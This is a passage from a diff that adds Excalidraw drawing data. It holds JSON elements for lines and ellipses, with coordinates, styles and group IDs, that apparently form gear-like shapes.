15.193507583664232, + "height": 28.03563390093018, + "seed": 780038856, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -15.193507583664232, + 28.03563390093018 + ] + ] + }, + { + "type": "line", + "version": 1453, + "versionNonce": 1441030368, + "index": "c1t8V", + "isDeleted": false, + "id": "A0Adc_oxpcBOD48oDFI8x", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3946.9358174007934, + "y": -933.019597306745, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 22.971133672987367, + "height": 10.129007355721425, + "seed": 2058672584, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -22.971133672987367, + 10.129007355721425 + ] + ] + }, + { + "type": "line", + "version": 1397, + "versionNonce": 1617249504, + "index": "c1t8W", + "isDeleted": false, + "id": "o0dWY3JdKyzbo10gZ6QgH", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3948.382809580393, + "y": -921.0818393767672, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 11.937751030139031, + "height": 9.948128158394548, + "seed": 1636196552, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -11.937751030139031, + 9.948128158394548 + ] + ] + }, + { + "type": "line", + "version": 1512, + "versionNonce": 824813792, + "index": "c1t8X", + "isDeleted": false, + "id": "UOApx-zW7AmV1camxInVo", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3993.167786596853, + "y": -918.5916703160644, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 6.536816193858699, + "height": 7.232210883585443, + "seed": 579798984, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.5298895394843397, + 5.006913390570969 + ], + [ + -6.536816193858699, + 7.232210883585443 + ] + ] + }, + { + "type": "line", + "version": 1506, + "versionNonce": 868322528, + "index": "c1t8Z", + "isDeleted": false, + "id": "WwYeWpfwK46QCaQ6Yf3JM", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3993.167786596853, + "y": -904.6835669534369, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 6.397726644870585, + "height": 6.119568768979967, + "seed": 703254216, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.8080580264176975, + -4.450597638789634 + ], + [ + -6.397726644870585, + -6.119568768979967 + ] + ] + }, + { + "type": "line", + "version": 1530, + "versionNonce": 1639772384, + "index": "c1t8a", + "isDeleted": false, + "id": "hxhFR4X9m-9enccUP-Lc-", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3999.426434303782, + "y": -910.8031357224172, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 6.119568768979967, + "height": 6.258647706925309, + "seed": 3519944, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -4.31151074256227, + 1.3908106015389647 + ], + [ + -6.119568768979967, + 6.258647706925309 + ] + ] + }, + { + "type": "line", + "version": 1508, + "versionNonce": 44815584, + "index": "c1t8b", + "isDeleted": false, + "id": "XrsvrQBe60XIf1r2vpdCa", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3993.306865534802, + "y": -918.454695670521, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 6.675895131804076, + "height": 7.093131945640101, + "seed": 982236360, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.6689684774295834, + 5.285084530265143 + ], + [ + 6.675895131804076, + 7.093131945640101 + ] + ] + }, + { + "type": "line", + "version": 1515, + "versionNonce": 1813919968, + "index": "c1t8d", + "isDeleted": false, + "id": "oxJAO5yTZennc1a8k3Hxz", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3929.3965533466817, + "y": -979.5264561975773, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 10.23448951483993, + "height": 11.32324732133449, + "seed": 1787356104, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -2.3953004010463115, + 7.839168347069771 + ], + [ + -10.23448951483993, + 11.32324732133449 + ] + ] + }, + { + "type": "line", + "version": 1509, + "versionNonce": 1101274336, + "index": "c1t8e", + "isDeleted": false, + "id": "fKOXMkpogtZpnLr0BEItO", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3929.3965533466817, + "y": -957.7509719534505, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 10.01672134016186, + "height": 9.581218217564158, + "seed": 239676104, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -2.8308201370231307, + -6.968162101874215 + ], + [ + -10.01672134016186, + -9.581218217564158 + ] + ] + }, + { + "type": "line", + "version": 1533, + "versionNonce": 885883104, + "index": "c1t8f", + "isDeleted": false, + "id": "TCVGnzD8fVJVlYUv-iXZ1", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3939.1955231255506, + "y": -967.3321901710149, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 9.581218217564158, + "height": 9.79896977886306, + "seed": 6853064, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -6.750398080541026, + 2.177548839747358 + ], + [ + -9.581218217564158, + 9.79896977886306 + ] + ] + }, + { + "type": "line", + "version": 1544, + "versionNonce": 1160406240, + "index": "c1t8h", + "isDeleted": false, + "id": "dQqbC_qzaaTzyIbq1fTYy", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3929.614304907986, + "y": -979.3119992613533, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 10.452241076138884, + "height": 11.105495760035591, + "seed": 1745033416, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 2.613051962345058, + 8.274692236391578 + ], + [ + 10.452241076138884, + 11.105495760035591 + ] + ] + }, + { + "type": "line", + "version": 1577, + "versionNonce": 4901088, + "index": "c1t8j", + "isDeleted": false, + "id": "U9A6p2ffuuVF8b1PimJhA", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3956.142863678803, + "y": -976.9928852268083, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 4.001415783272521, + "height": 4.427091403414738, + "seed": 682934216, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.9364993551000395, + 3.064908308930535 + ], + [ + -4.001415783272521, + 4.427091403414738 + ] + ] + }, + { + "type": "line", + "version": 1571, + "versionNonce": 1103015136, + "index": "c1t8l", + "isDeleted": false, + "id": "TT-07X8VRkWujIfEksnOy", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3956.142863678803, + "y": -968.4792445399426, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 3.916274163850489, + "height": 3.7460039157936507, + "seed": 1385793224, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.106776098550451, + -2.7243678128167987 + ], + [ + -3.916274163850489, + -3.7460039157936507 + ] + ] + }, + { + "type": "line", + "version": 1595, + "versionNonce": 1930825952, + "index": "c1t8m", + "isDeleted": false, + "id": "WQWNMbKcjpj7OEPNpXBXC", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3959.9740027186244, + "y": -972.2252484557353, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 3.7460039157936507, + "height": 3.8311390398220895, + "seed": 307064264, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -2.6392278172431993, + 0.8513642310715799 + ], + [ + -3.7460039157936507, + 3.8311390398220895 + ] + ] + }, + { + "type": "line", + "version": 1573, + "versionNonce": 1273033952, + "index": "c1t8n", + "isDeleted": false, + "id": "MnO8Yg-eaB5mPoJpIypfI", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3956.2279988028313, + "y": -976.9090382143902, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 4.086550907300982, + "height": 4.341956279386299, + "seed": 552367304, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.0216344791284184, + 3.2351866762294206 + ], + [ + 4.086550907300982, + 4.341956279386299 + ] + ] + }, + { + "type": "line", + "version": 1638, + "versionNonce": 296704224, + "index": "c1t8p", + "isDeleted": false, + "id": "JLF_uz7TAnFacGjuj_Z0k", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3929.4647549063375, + "y": -973.2780276138249, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 4.836380146287482, + "height": 5.350880320605962, + "seed": 873634760, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.1319160850394414, + 3.7044542477863365 + ], + [ + -4.836380146287482, + 5.350880320605962 + ] + ] + }, + { + "type": "line", + "version": 1632, + "versionNonce": 1477524704, + "index": "c1t8r", + "isDeleted": false, + "id": "0vx2b1m4_fWiHcyPOGLob", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3929.4647549063375, + "y": -962.9878690747576, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 4.733472260654383, + "height": 4.52767219092705, + "seed": 1843126984, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.3377240055361577, + -3.292854108331596 + ], + [ + -4.733472260654383, + -4.52767219092705 + ] + ] + }, + { + "type": "line", + "version": 1656, + "versionNonce": 1083613408, + "index": "c1t8t", + "isDeleted": false, + "id": "Zqswe1yxhNessKzdAprkX", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3934.0953271321346, + "y": -967.5155412656848, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 4.52767219092705, + "height": 4.630572225790741, + "seed": 1290029512, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -3.189948185390892, + 1.0290160501757255 + ], + [ + -4.52767219092705, + 4.630572225790741 + ] + ] + }, + { + "type": "line", + "version": 1634, + "versionNonce": 986678496, + "index": "c1t8u", + "isDeleted": false, + "id": "gltkhh6DtJmuAcmwSP5sV", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3929.5676549412046, + "y": -973.1766844772562, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 4.939280181151198, + "height": 5.24798028574227, + "seed": 474468552, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.2348161199030592, + 3.9102641309754955 + ], + [ + 4.939280181151198, + 5.24798028574227 + ] + ] + }, + { + "type": "line", + "version": 1629, + "versionNonce": 1145825504, + "index": "c1t8v", + "isDeleted": false, + "id": "Ks9v5oigjPd22r-w-6ewv", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3993.4367878342105, + "y": -915.1557421051468, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 4.001415783272521, + "height": 4.427091403414738, + "seed": 1671591880, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.9364993551000395, + 3.064908308930535 + ], + [ + -4.001415783272521, + 4.427091403414738 + ] + ] + }, + { + "type": "line", + "version": 1623, + "versionNonce": 681299168, + "index": "c1t8x", + "isDeleted": false, + "id": "V0VKCNLJNL4I9Jbr7QuyF", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3993.4367878342105, + "y": -906.6421014182779, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 3.916274163850489, + "height": 3.7460039157936507, + "seed": 1460682440, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.106776098550451, + -2.7243678128167987 + ], + [ + -3.916274163850489, + -3.7460039157936507 + ] + ] + }, + { + "type": "line", + "version": 1647, + "versionNonce": 1095708896, + "index": "c1t8z", + "isDeleted": false, + "id": "Orb-GXRmrXikGRj9bM164", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3997.2679268740308, + "y": -910.3881053340733, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 3.7460039157936507, + "height": 3.8311390398220895, + "seed": 1194141128, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453357, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -2.6392278172431993, + 0.8513642310715799 + ], + [ + -3.7460039157936507, + 3.8311390398220895 + ] + ] + }, + { + "type": "line", + "version": 1625, + "versionNonce": 905319648, + "index": "c1t9", + "isDeleted": false, + "id": "unYTVCb5bk2jGTOHn2kLh", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3993.5219229582376, + "y": -915.0718950927285, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 4.086550907300982, + "height": 4.341956279386299, + "seed": 286600392, + "groupIds": [ + "Y1GMMQcTr_tjq4CNqZ5k4", + "GaeISmp8v7V6MDVy8yf5p", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.0216344791284184, + 3.2351866762294206 + ], + [ + 4.086550907300982, + 4.341956279386299 + ] + ] + }, + { + "type": "line", + "version": 2530, + "versionNonce": 1008761056, + "index": "c1t92", + "isDeleted": false, + "id": "NQTtiOwn62hhgdhXo0LfQ", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3627.0700523004525, + "y": -928.5913746613692, + "strokeColor": "#aaa", + "backgroundColor": "#e1effc", + "width": 99.60855266383676, + "height": 98.67292882475495, + "seed": 994314952, + "groupIds": [ + "cQ9hooXMUSq5zl76CdQ5_", + "KfaPnOjFIAktMY5J4xdFU", + "CUmbpkYpRWlpAGEOLItt_", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 6.643692237723116, + -10.829178020308733 + ], + [ + 2.7783066869514044, + -20.009468703389313 + ], + [ + 14.857636533110771, + -28.70658619262269 + ], + [ + 22.204567402885967, + -23.458212062062863 + ], + [ + 33.94635059418153, + -26.97255934140224 + ], + [ + 37.12989702694064, + -36.63602321832929 + ], + [ + 49.658649792935705, + -35.24162243369667 + ], + [ + 51.11491518275787, + -26.649656633745572 + ], + [ + 62.4737852233714, + -19.805209301581215 + ], + [ + 72.95889603009043, + -23.300246237154724 + ], + [ + 80.53147605716661, + -13.980147742292537 + ], + [ + 75.14329411482517, + -5.5338084813240975 + ], + [ + 78.78395758938062, + 6.990073871147013 + ], + [ + 87.95842954525939, + 11.504496579595443 + ], + [ + 86.3565376164553, + 24.174005471048478 + ], + [ + 77.18206566057502, + 25.921523938835225 + ], + [ + 70.33761832841142, + 38.15415321334176 + ], + [ + 74.12390834194876, + 46.3092393963456 + ], + [ + 64.65818330810465, + 54.4643255793502 + ], + [ + 56.93997674204657, + 49.22177017598995 + ], + [ + 43.97921477262894, + 52.42555403359887 + ], + [ + 39.464792064180514, + 62.036905606425655 + ], + [ + 26.5040300947629, + 59.9981340606743 + ], + [ + 24.90213816595881, + 50.09552940988371 + ], + [ + 13.39764158636337, + 45.435480162452606 + ], + [ + 4.951302325395677, + 48.20238440311428 + ], + [ + -2.6212777016805013, + 39.46479206418126 + ], + [ + 1.6018919288040896, + 30.435946647283664 + ], + [ + -1.893145006769416, + 18.34894391175979 + ], + [ + -11.650123118577362, + 13.106388508400274 + ], + [ + -9.611351572827514, + 2.1843980847332554 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1808, + "versionNonce": 1465801952, + "index": "c1t94", + "isDeleted": false, + "id": "vqTRV5wQEYXOpFWczcpE2", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3634.7495286358526, + "y": -946.4962125086015, + "strokeColor": "transparent", + "backgroundColor": "#c9d5e1", + "width": 60.324182015970564, + "height": 60.324182015970564, + "seed": 185037256, + "groupIds": [ + "cQ9hooXMUSq5zl76CdQ5_", + "KfaPnOjFIAktMY5J4xdFU", + "CUmbpkYpRWlpAGEOLItt_", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 2691, + "versionNonce": 423608544, + "index": "c1t98", + "isDeleted": false, + "id": "PvRJQMNhitpnEIALpxa1H", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3761.453856980103, + "y": -926.7714383609907, + "strokeColor": "#aaa", + "backgroundColor": "#e1effc", + "width": 37.15681891182787, + "height": 36.80780464921052, + "seed": 2076571848, + "groupIds": [ + "ogMbkxESiFP3aiTc4H6hM", + "KfaPnOjFIAktMY5J4xdFU", + "CUmbpkYpRWlpAGEOLItt_", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 2.47828587788142, + -4.03959093776335 + ], + [ + 1.0363872949441302, + -7.464100072238578 + ], + [ + 5.542320366622326, + -10.708371883846372 + ], + [ + 8.282934225426688, + -8.750579285364678 + ], + [ + 12.662952808904302, + -10.061530623974946 + ], + [ + 13.850506037376936, + -13.666277081317338 + ], + [ + 18.52408662124735, + -13.146125989272454 + ], + [ + 19.0673149679115, + -9.941078743953867 + ], + [ + 23.304496071892075, + -7.387905514632314 + ], + [ + 27.215740167873715, + -8.691653546626377 + ], + [ + 30.040527570527633, + -5.214992127975716 + ], + [ + 28.0305826878705, + -2.064267717323713 + ], + [ + 29.388653554530876, + 2.6074960639881324 + ], + [ + 32.810992138514685, + 4.2915039386468825 + ], + [ + 32.21344095718422, + 9.017590554625032 + ], + [ + 28.791102373199863, + 9.669464570622063 + ], + [ + 26.237929143878592, + 14.232582682601027 + ], + [ + 27.650322845205267, + 17.274661423920143 + ], + [ + 24.119338591888305, + 20.316740165239537 + ], + [ + 21.2402283545681, + 18.36111811724845 + ], + [ + 16.40549606925706, + 19.556220479909626 + ], + [ + 14.721488194598312, + 23.14152756789318 + ], + [ + 9.886755909287281, + 22.38100788256325 + ], + [ + 9.289204727956827, + 18.687055125247092 + ], + [ + 4.997700789309943, + 16.948724415921763 + ], + [ + 1.8469763786582154, + 17.980858274583486 + ], + [ + -0.9778110239956892, + 14.721488194598592 + ], + [ + 0.5975511813304514, + 11.353472445280815 + ], + [ + -0.7061968506636159, + 6.844677167968436 + ], + [ + -4.3458267733131875, + 4.889055119977614 + ], + [ + -3.5853070879838227, + 0.8148425199962209 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1708, + "versionNonce": 1632937184, + "index": "c1t9A", + "isDeleted": false, + "id": "uhu4ZkCOdnhCcA_tzAlCH", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3765.630434222435, + "y": -932.2815635231668, + "strokeColor": "transparent", + "backgroundColor": "#c9d5e1", + "width": 20.221340732664135, + "height": 20.221340732664135, + "seed": 18587592, + "groupIds": [ + "ogMbkxESiFP3aiTc4H6hM", + "KfaPnOjFIAktMY5J4xdFU", + "CUmbpkYpRWlpAGEOLItt_", + "UdjQhnTyQIepL3O_buKxr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453358, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 2803, + "versionNonce": 489490656, + "index": "c1t9C", + "isDeleted": false, + "id": "lVshQ5TkyYR7_o0KBHa0j", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3687.7651838036604, + "y": -989.6959280183053, + "strokeColor": "#aaa", + "backgroundColor": "#e1effc", + "width": 54.65675062388924, + "height": 